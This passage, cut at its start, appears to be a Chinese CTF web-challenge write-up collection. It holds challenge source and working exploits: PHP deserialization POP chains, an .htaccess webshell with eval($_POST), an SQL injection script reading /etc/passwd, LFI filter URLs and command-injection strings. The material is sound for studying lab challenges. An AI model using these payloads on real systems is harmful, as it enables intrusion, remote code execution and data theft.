        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }

    public function test()
    {
        $a=urldecode("O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D");
        $b=substr($a,0,strlen($a)-1);
        $b=str_replace("\"Error\":7","\"Error\":8",$b);
        $b.="s:3:\"aaa\";".serialize(new Register())."}";

        $b='a:6:{s:2:"ID";i:9;s:8:"username";s:4:"aaaa";s:3:"img";N;s:5:"email";s:11:"[email protected]";s:8:"password";s:32:"74b87337454200d4d33f80c4663dc5e5";s:3:"abc";'.$b.'}';
        #return "a";
        return urlencode(base64_encode($b));
    }

    public function __get($name)
    {
        return url;
    }

}

<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->registed=0;
        $this->checker=new Profile();
    }

    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

<?php
namespace app\web\controller;

use think\Controller;
class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except=array('index'=>'upload_img');
    public $index;

    public function __construct()
    {
        $this->index="upload_img";
        $this->checker=0;
        $this->ext=1;
        $this->filename_tmp="../public/upload/76d9f00467e5ee6abc3ca60892ef304e/fb5c81ed3a220004b71069645f112867.png";
        $this->filename="../public/upload/76d9f00467e5ee6abc3ca60892ef304e/fb5c81ed3a220004b71069645f112867.php";
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

[CISCN2019 华东南赛区]Web11

简单的smarty ssti

Futurella

F12

2020 新春红包题 1

和2019的eis中的pop一摸一样,我之前也做出来了,再看的时候居然不会了???????????

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

唯一不同的是,这题会对文件名进行检测

public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
            die('?');
        }
        return $cache_filename;
    }

我在这里卡了好久,还是去偷窥wp解决的

我们利用uniqid()/../filename来绕过uniqid,

利用index.php/.=index.php来绕过后缀名检测

其他解法: https://www.zhaoj.in/read-6397.html

1. 利用.user.ini
2. 利用shell中``的优先级大于”来命令执行

easyphp

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

可以任意写文件,写个php文件后发现,不解析,估计是htaccess的,

于是写htaccess,利用#\来绕过末尾添加\nJust one chance,将其注释

最后的payload

#<?php die(eval($_POST[1]));?>
php_value auto_prepend_fi\
le ".htaccess"
#\

Kookie

修改cookie

homebrew event loop

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

我们观察:

action = get_mid_str(event, ':', ';')
         args = get_mid_str(event, action+';').split('#')
         try:
             event_handler = eval(
                 action + ('_handler' if is_action else '_function'))
             ret_val = event_handler(args)

这里我们可以

在action后面加个#,来达到任意命令执行,但是传入的参数只能是一个list,在这里卡住我了

继续分析发现,这个程序的功能都基于自制的event_loop,而trigger_event()负责添加event,当传入一个list时,他会直接event+=list

也就是说我们可以控制event_loop的执行顺序,

在get_flag_handler中,我们可以将flag记录到session中但是,要求diomand>=5,而正常来说我们最多只有3个

我们观察buy

def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])

这个是先将物品添加然后向event_loop中添加事件,结合我们前面的发现,我们可以在调用buy_handler后直接调用get_flag_handler,这样我们就能拿到flag了

访问:d5afe1f66147e857/?action:trigger_event%23;action:buy;99%23action:get_flag;%23,将session解码后拿到flag

flag{ba772083-fe23-4258-897e-63c9a99ff66f}

easysql

import requests
import re,time
import binascii
def sql_inj(sql):
    result=""
    count=1
    while True:
        if result!="":
            username="admin\"-(updatexml(1,concat(0x7e,replace(({sql}),{result},\"\"),0x7e),1))#".format(sql=sql,result=("0x"+str(binascii.hexlify(bytes(result,encoding="ascii")),encoding="ascii")))
        else:
            username="admin\"-(updatexml(1,concat(0x7e,replace(({sql}),\"\",\"\"),0x7e),1))#".format(sql=sql,result=("0x"+str(binascii.hexlify(bytes(result,encoding="ascii")),encoding="ascii")))
        burp0_url = "http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn:80/register.php"
        burp0_cookies = {"PHPSESSID": "r658aaumj82f5f6itd5freua14"}
        burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Origin": "http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn/register.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
        burp0_data = {"username":username , "password": "a", "email": "a"}
        res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
        print(username)
        #print(res.text)
        session = requests.session()
        url="http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn/login.php"
        data={
            "username":username,
            "password":"a"
        }
        res=session.post(url, data=data) 
        #print(res.text)
        res=session.post("http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn/changepwd.php",data={"oldpass":"a","newpass":"a"})
        print(res.text)
        tmp=re.match(r".*XPATH syntax error: '(.*)'.*",res.text,flags=re.DOTALL).group(1)
        if tmp!="" and tmp[0]=="~":
            tmp=tmp[1:]
        if tmp!="" and tmp[-1]=="~":
            tmp=tmp[:-1] 
        result+=tmp
        print(result)
        if tmp.strip() is "":
            break
        count+=30
        time.sleep(0.5)
    print(result)
sql_inj("select(group_concat(load_file(0x2f6574632f706173737764)))")

article,flag,users
flag
title,content
name,pwd,email,real_flag_1s_here

flag{9b73df68-406f-439e-9076-c9a9f37f5255}

二次注入

[MRCTF2020]Ez_bypass

easy

[MRCTF2020]你传你🐎呢

后缀名限制:php

上传htaccess+图片马

flag{c4ab5af4-4cb4-45bf-9cb3-ebe35922eca9}

[MRCTF2020]PYWebsite

修改xff头

[BSidesCF 2020]Had a bad day

测试发现

Warning: include(meowers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'meowers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

index.php

<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="description" content="Images that spark joy">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
    <title>Had a bad day?</title>
    <link rel="stylesheet" href="css/material.min.css">
    <link rel="stylesheet" href="css/style.css">
  </head>
  <body>
    <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
      <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
        <div class="mdl-layout__header-row">
          <span class="mdl-layout-title">Had a bad day?</span>
          <div class="mdl-layout-spacer"></div>
        <div>
      </header>
      <div class="page-ribbon"></div>
      <main class="page-main mdl-layout__content">
        <div class="page-container mdl-grid">
          <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
          <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
            <div class="page-crumbs mdl-color-text--grey-500">
            </div>
            <h3>Cheer up!</h3>
              <p>
                Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
              </p>
              <div class="page-include">
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
			</div>
          <form action="index.php" method="get" id="choice">
              <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
              <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
          </form>

          </div>
        </div>
      </main>
    </div>
    <script src="js/material.min.js"></script>
  </body>
</html>

在扫目录时发现flag.php

http://12d20382-ff0d-44bf-abfd-50a08a5b8604.node3.buuoj.cn/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

[HarekazeCTF2019]encode_and_encode

<?php
error_reporting(0);

if (isset($_GET['source'])) {
  show_source(__FILE__);
  exit();
}

function is_valid($str) {
  $banword = [
    // no path traversal
    '\.\.',
    // no stream wrapper
    '(php|file|glob|data|tp|zip|zlib|phar):',
    // no data exfiltration
    'flag'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
  $page = $json['page'];
  $content = file_get_contents($page);
  if (!$content || !is_valid($content)) {
    $content = "<p>not found</p>\n";
  }
} else {
  $content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

学到了学到了

json_decode在解析类似\u0020的时候会把他当成一个unicode字符,也就是说它会变成空格

这个在官方文档里也有涉及PHP implements a superset of JSON as specified in the original » RFC 7159.

去查RFC 7159就会发现

Any character may be escaped.  If the character is in the Basic
Multilingual Plane (U+0000 through U+FFFF), then it may be
represented as a six-character sequence: a reverse solidus, followed
by the lowercase letter u, followed by four hexadecimal digits that
encode the character's code point.  The hexadecimal letters A though
F can be upper or lower case.  So, for example, a string containing
only a single reverse solidus character may be represented as
"\u005C".

[CISCN2019 总决赛 Day1 Web4]Laravel1

<?php
//backup in source.tar.gz

namespace App\Http\Controllers;


class IndexController extends Controller
{
    public function index(\Illuminate\Http\Request $request){
        $payload=$request->input("payload");
        if(empty($payload)){
            highlight_file(__FILE__);
        }else{
            @unserialize($payload);
        }
    }
}

很明显是要让我们找个pop链,刚开始我天真的以为可以直接用cve的,一行注释让我明白了我的天真

这个pop链显然要从__destruct开始

在经过一番搜索+wp观看大法后,我找到了

这里有个$f($items),可以直接命令执行,前提是没有直接从foreach那里退出

不知道为啥,本机不可以,而靶场可以???

<?php

namespace Symfony\Component\Cache\Adapter;

class TagAwareAdapter{
    private $deferred;
    private $getTagsByKey;
    function __construct(){
        $this->deferred="cat /flag";
        $this->getTagsByKey="system";
    }
}



$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter();
echo urlencode(serialize($a));

flag{d5b22868-43a5-4784-be2f-6021702cfe89}

[MRCTF2020]套娃

2333333333

flag{b84a1566-98fb-43aa-967d-95b86c42da14}

[MRCTF2020]Ezpop

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;

    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$a=new Show();
$b=new Show();
$b->str=new Test();
$a->source=$b;
echo urlencode(serialize($a));
?>

flag{ff09736d-ed1f-4089-8906-3379cbb7e019}

[GYCTF2020]Easyphp

UpdateHelper(__destruct)->User(__toString)->Info(__call)->dbCtrl(login)

<?php
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id=1;
    public $age;
    public $nickname;
    public function __construct(){
        $this->nickname=new Info();
        $this->age="UPDATE user SET password=\"c4ca4238a0b923820dcc509a6f75849b\" where username=?";
    } 


}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name='admin';
        $this->password='1';
        $this->token='admin';
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct(){
        $this->age="";
        $this->nickname="";
        $this->CtrlCase=new dbCtrl();
    }
}
Class UpdateHelper{
    public $id="";
    public $newinfo="";
    public $sql="";
    public function __construct(){
        $this->sql=new User();
    }
}

$nickname="";
$a=new User();
$evil=str_replace("flag","alag",serialize($a));

#echo $evil;
$age='";s:8:"nickname";'.$evil.'s:8:"CtrlCase";N;};';
$len=strlen($age);
for($i=0;$i<$len;$i++){
    $age="union".$age;
};
$tmp=serialize(new Info($age,$nickname));
$result=safe($tmp);
echo $age;
unserialize($result);
?>

flag{be7c6d56-1969-47d8-8eed-e672e5496d25}

[WUSTCTF2020]颜值成绩查询

0/**/uniunionon/**/select/**/1,2,3#
0/**/uniunionon/**/select/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/where/**/TABLE_SCHEMA=database()#
flag,score
0/**/uniunionon/**/select/**/1,GROUP_CONCAT(column_name),3/**/FROM/**/information_schema.columns/**/WHERE/**/table_name='flag'#
flag,value 

[WUSTCTF2020]朴实无华

在robots.txt中发现fAke_f1agggg.php

在fAke_f1agggg.php中发现fl4g.php

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

/fl4g.php?num=1e10&md5=0e215962017&get_flag=a%3dc%26%26b%3da%26%26c%3dt%26%26$a$b$c%09*